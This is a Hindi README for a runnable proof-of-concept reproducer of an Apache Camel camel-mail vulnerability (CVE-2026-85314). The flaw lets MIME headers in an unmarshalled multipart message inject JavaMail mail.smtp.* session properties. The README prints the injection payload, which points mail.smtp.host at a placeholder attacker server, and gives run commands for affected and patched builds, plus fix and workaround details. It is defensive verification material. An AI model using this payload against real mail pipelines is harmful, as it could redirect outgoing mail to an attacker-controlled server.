
CVE-2026-85314 के लिए रन करने योग्य प्रूफ-ऑफ-कॉन्सेप्ट रिप्रोड्यूसर, जो Camel Spring Boot और Camel Quarkus में camel-mail MimeMultipart mail.smtp हेडर इंजेक्शन को प्रदर्शित करता है, पैच किए गए नियंत्रणों के साथ।
MimeMultipart हेडर इंजेक्शन (mail.smtp*)Apache Camel की उस भेद्यता के लिए चलाने योग्य प्रूफ-ऑफ-कॉन्सेप्ट रिप्रोड्यूसर, जिसमें camel-mail का MimeMultipart डेटा
फ़ॉर्मेट unmarshal के समय किसी संदेश के हेडर को एक सादे DefaultHeaderFilterStrategy का उपयोग करके Exchange पर मैप करता था, जो
mail.smtp. / mail.smtps. नेमस्पेस को नहीं हटाता है। CVE-2026-46584 ने उस पथ को बंद कर दिया था जहाँ मेल हेडर
बिना फ़िल्टर किए Exchange तक पहुँचते थे, लेकिन इस डेटा फ़ॉर्मेट ने एक बिना फ़िल्टर वाला पथ बनाए रखा: उन हेडर नामों में कोई Camel
प्रीफ़िक्स नहीं होता (इसलिए किसी कंज़्यूमर का हेडर फ़िल्टर भी उन्हें ब्लॉक नहीं करता), और mail.smtp नेमस्पेस यह नियंत्रित करता है कि
डाउनस्ट्रीम मेल प्रोड्यूसर कैसे कनेक्ट और भेजता है। इसलिए एक बाहरी प्रेषक, जो multipart संदेश भेजता है, JavaMail
सेशन प्रॉपर्टीज़ इंजेक्ट कर सकता था और मेल कनेक्शन को रीडायरेक्ट कर सकता था (CWE-20)। यह एक नई दोष श्रेणी नहीं, बल्कि
CVE-2026-46584 का अपूर्ण फ़िक्स है।
| रनटाइम | डायरेक्टरी | स्टैक |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (प्रभावित; फ़िक्स 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, प्रभावित; फ़िक्स कंट्रोल CQ 3.40.0 / Camel 4.22.1) |
दोनों मॉड्यूल वास्तविक MimeMultipartDataFormat के विरुद्ध प्रभावित और फ़िक्स किए गए व्यवहार को प्रदर्शित करते हैं।
ड्राइवर एक हमलावर-नियंत्रित multipart संदेश को unmarshal करता है (inline-headers मोड, जो फ़िक्स के अपने
MimeMultipartDataFormatTest को दर्शाता है) जो MIME हेडर के रूप में JavaMail सेशन प्रॉपर्टीज़ लेकर आता है, और फिर बताता है कि कौन-सी
प्रॉपर्टीज़ Exchange पर पहुँचीं:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host, mail.smtp.port, mail.smtps.auth सभी unmarshal से बच जाते हैं और Exchange हेडर बन जाते हैं — एक डाउनस्ट्रीम मेल प्रोड्यूसर उन्हें पढ़ेगा, इसलिए प्रेषक यह निर्धारित करता है कि मेल कहाँ भेजा जाए।mail.smtp.* नेमस्पेस को फ़िल्टर कर दिया जाता है (MailHeaderFilterStrategy के माध्यम से), जबकि असंबंधित X-Normal हेडर को रखा जाता है।# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| गुण | मान |
|---|---|
| घटक | camel-mail (MimeMultipartDataFormat, unmarshal) |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) |
| गंभीरता | MEDIUM |
| आक्रमण वेक्टर | किसी बाहरी प्रेषक का मल्टीपार्ट संदेश mail.smtp.* MIME हेडर लेकर आता है; unmarshalling उन्हें Exchange पर मैप कर देता है |
| प्रभाव | इंजेक्ट किए गए JavaMail सत्र गुण यह नियंत्रित करते हैं कि डाउनस्ट्रीम मेल प्रोड्यूसर कैसे/कहाँ कनेक्ट और भेजता है |
| प्रभावित संस्करण | 4.0.0 से 4.18.5 से पहले तक, 4.19.0 से 4.22.1 से पहले तक |
| ठीक किए गए संस्करण | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24419 |
| संबंधित | CVE-2026-46584 का अपूर्ण फिक्स |
| श्रेय | Claude Security Scan Tool |
सलाह: https://camel.apache.org/security/CVE-2026-85314.html
Quarkus का प्रभावित मॉड्यूल CQ 3.39.0 (Camel 4.22.0) पर आधारित है। पैच किया गया नियंत्रण CQ 3.40.0 (Camel 4.22.1) है।
MimeMultipartDataFormat अब DefaultHeaderFilterStrategy के बजाय MailHeaderFilterStrategy का उपयोग करता है, इसलिए unmarshal पर mail.smtp. / mail.smtps. नेमस्पेस को ठीक उसी तरह फ़िल्टर किया जाता है जैसे मेल कंज़्यूमर इसे इनबाउंड साइड पर फ़िल्टर करता है (CAMEL-23522) — जिससे CVE-2026-46584 द्वारा छोड़ा गया रास्ता बंद हो जाता है।
किसी भी मेल प्रोड्यूसर से पहले डेटा फ़ॉर्मेट के बाद removeHeaders("mail.smtp*") के साथ नेमस्पेस को हटा दें।
यह रिपॉज़िटरी शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है: Apache Camel उपयोगकर्ताओं को भेद्यता को समझने, यह सत्यापित करने कि क्या वे प्रभावित हैं, और यह पुष्टि करने में मदद करने के लिए कि अपग्रेड करने से यह हल हो जाती है। मल्टीपार्ट संदेश एक इन-प्रोसेस सौम्य फ़िक्स्चर है; attacker-smtp.example एक प्लेसहोल्डर है और कोई मेल नहीं भेजा जाता है। इस सामग्री का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी या संचालक नहीं हैं।